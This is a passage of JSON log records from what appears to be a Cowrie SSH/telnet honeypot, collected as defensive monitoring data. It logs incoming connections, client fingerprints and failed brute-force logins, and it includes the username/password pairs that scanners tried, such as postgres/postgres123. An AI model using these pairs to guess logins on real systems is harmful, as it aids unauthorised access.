5519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:56:43.117693Z","src_ip":"176.65.139.103","session":"e6c78ded74ee","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"testing","password":"testing@1234","message":"login attempt [testing/testing@1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:56:43.362340Z","src_ip":"176.65.139.103","session":"e6c78ded74ee","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.88937735557556,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:56:44.297037Z","src_ip":"161.97.124.15","session":"b8ba7a7f8bdd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:56:44.445842Z","src_ip":"176.65.139.103","session":"e6c78ded74ee","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.124.15","src_port":40194,"dst_ip":"159.203.135.109","dst_port":23,"session":"77ebf382805c","protocol":"telnet","message":"New connection: 161.97.124.15:40194 (159.203.135.109:23) [session: 77ebf382805c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:56:44.481027Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.124.15","src_port":40378,"dst_ip":"159.203.135.109","dst_port":23,"session":"e71c82a6e0b0","protocol":"telnet","message":"New connection: 161.97.124.15:40378 (159.203.135.109:23) [session: e71c82a6e0b0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:56:44.526232Z"}
{"eventid":"cowrie.session.closed","duration":31.208672523498535,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:56:45.232663Z","src_ip":"161.97.124.15","session":"85d9ba224586","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.124.15","src_port":44538,"dst_ip":"159.203.135.109","dst_port":23,"session":"dc175fa3ea8f","protocol":"telnet","message":"New connection: 161.97.124.15:44538 (159.203.135.109:23) [session: dc175fa3ea8f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:56:46.317120Z"}
{"eventid":"cowrie.session.closed","duration":30.778660535812378,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:56:48.085967Z","src_ip":"161.97.124.15","session":"dfef086bcc8a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.941909074783325,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:56:49.052612Z","src_ip":"161.97.124.15","session":"37f9ee85a5d4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.124.15","src_port":51082,"dst_ip":"159.203.135.109","dst_port":23,"session":"07931fd64e89","protocol":"telnet","message":"New connection: 161.97.124.15:51082 (159.203.135.109:23) [session: 07931fd64e89]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:56:49.290033Z"}
{"eventid":"cowrie.session.closed","duration":30.73351740837097,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:56:50.110228Z","src_ip":"161.97.124.15","session":"e28220393ea6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.124.15","src_port":53306,"dst_ip":"159.203.135.109","dst_port":23,"session":"949d7544ff3f","protocol":"telnet","message":"New connection: 161.97.124.15:53306 (159.203.135.109:23) [session: 949d7544ff3f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:56:50.299130Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":52308,"dst_ip":"10.17.0.5","dst_port":22,"session":"20d28b48988b","protocol":"ssh","message":"New connection: 176.65.139.103:52308 (10.17.0.5:22) [session: 20d28b48988b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:56:50.395016Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:56:50.399928Z","src_ip":"176.65.139.103","session":"20d28b48988b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.124.15","src_port":53632,"dst_ip":"159.203.135.109","dst_port":23,"session":"8d9e7149ad72","protocol":"telnet","message":"New connection: 161.97.124.15:53632 (159.203.135.109:23) [session: 8d9e7149ad72]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:56:50.405364Z"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:56:50.504836Z","src_ip":"176.65.139.103","session":"20d28b48988b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.31391453742981,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:56:50.756413Z","src_ip":"161.97.124.15","session":"32a9951a72c7","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"sadmin","password":"sadmin","message":"login attempt [sadmin/sadmin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:56:50.903465Z","src_ip":"176.65.139.103","session":"20d28b48988b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.124.15","src_port":56486,"dst_ip":"159.203.135.109","dst_port":23,"session":"fb6656526f3c","protocol":"telnet","message":"New connection: 161.97.124.15:56486 (159.203.135.109:23) [session: fb6656526f3c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:56:51.429476Z"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:56:51.994414Z","src_ip":"176.65.139.103","session":"20d28b48988b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.200076580047607,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:56:52.666489Z","src_ip":"161.97.124.15","session":"31eb1e14cdf2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.124.15","src_port":41088,"dst_ip":"159.203.135.109","dst_port":23,"session":"f313fed0ac4c","protocol":"telnet","message":"New connection: 161.97.124.15:41088 (159.203.135.109:23) [session: f313fed0ac4c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:56:56.543447Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.176.20.115","src_port":52344,"dst_ip":"10.17.0.5","dst_port":22,"session":"dd0dcbd80c16","protocol":"ssh","message":"New connection: 103.176.20.115:52344 (10.17.0.5:22) [session: dd0dcbd80c16]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:56:57.097049Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:56:57.102049Z","src_ip":"103.176.20.115","session":"dd0dcbd80c16","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:56:57.359558Z","src_ip":"103.176.20.115","session":"dd0dcbd80c16","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":56246,"dst_ip":"10.17.0.5","dst_port":22,"session":"667faff1acd1","protocol":"ssh","message":"New connection: 176.65.139.103:56246 (10.17.0.5:22) [session: 667faff1acd1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:56:57.395429Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:56:57.403480Z","src_ip":"176.65.139.103","session":"667faff1acd1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.124.15","src_port":43186,"dst_ip":"159.203.135.109","dst_port":23,"session":"4aea0f8b1a3e","protocol":"telnet","message":"New connection: 161.97.124.15:43186 (159.203.135.109:23) [session: 4aea0f8b1a3e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:56:57.517099Z"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:56:57.521956Z","src_ip":"176.65.139.103","session":"667faff1acd1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"postgres123","message":"login attempt [postgres/postgres123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:56:57.770761Z","src_ip":"176.65.139.103","session":"667faff1acd1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"roots","password":"roots","message":"login attempt [roots/roots] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:56:58.415624Z","src_ip":"103.176.20.115","session":"dd0dcbd80c16","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:56:58.947632Z","src_ip":"176.65.139.103","session":"667faff1acd1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:56:59.674493Z","src_ip":"103.176.20.115","session":"dd0dcbd80c16","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.124.15","src_port":49180,"dst_ip":"159.203.135.109","dst_port":23,"session":"d65bf1447995","protocol":"telnet","message":"New connection: 161.97.124.15:49180 (159.203.135.109:23) [session: d65bf1447995]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:57:00.487080Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":60998,"dst_ip":"10.17.0.5","dst_port":22,"session":"9bd729996bfe","protocol":"ssh","message":"New connection: 176.65.139.103:60998 (10.17.0.5:22) [session: 9bd729996bfe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:57:05.658698Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:57:05.663309Z","src_ip":"176.65.139.103","session":"9bd729996bfe","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:57:05.757889Z","src_ip":"176.65.139.103","session":"9bd729996bfe","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user2","password":"user2","message":"login attempt [user2/user2] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:57:06.042308Z","src_ip":"176.65.139.103","session":"9bd729996bfe","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.565889835357666,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:57:06.068038Z","src_ip":"185.26.126.47","session":"a24c61712a83","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.368884801864624,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:57:06.307462Z","src_ip":"185.26.126.47","session":"fbd31861d141","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:57:07.160388Z","src_ip":"176.65.139.103","session":"9bd729996bfe","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":54280,"dst_ip":"159.203.135.109","dst_port":22,"session":"9431afe84413","protocol":"ssh","message":"New connection: 159.203.92.129:54280 (159.203.135.109:22) [session: 9431afe84413]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:57:08.128510Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:57:08.133492Z","src_ip":"159.203.92.129","session":"9431afe84413","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:57:08.137332Z","src_ip":"159.203.92.129","session":"9431afe84413","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ansible","password":"12","message":"login attempt [ansible/12] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:57:08.158398Z","src_ip":"159.203.92.129","session":"9431afe84413","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:57:09.164344Z","src_ip":"159.203.92.129","session":"9431afe84413","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.044915199279785,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:57:11.103348Z","src_ip":"161.97.124.15","session":"e6e5608b11d4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":59116,"dst_ip":"10.17.0.5","dst_port":22,"session":"90a0b7807f35","protocol":"ssh","message":"New connection: 176.65.139.103:59116 (10.17.0.5:22) [session: 90a0b7807f35]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:57:13.027358Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:57:13.031806Z","src_ip":"176.65.139.103","session":"90a0b7807f35","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:57:13.113936Z","src_ip":"176.65.139.103","session":"90a0b7807f35","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"john","password":"john","message":"login attempt [john/john] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:57:13.402833Z","src_ip":"176.65.139.103","session":"90a0b7807f35","protocol":"ssh"}
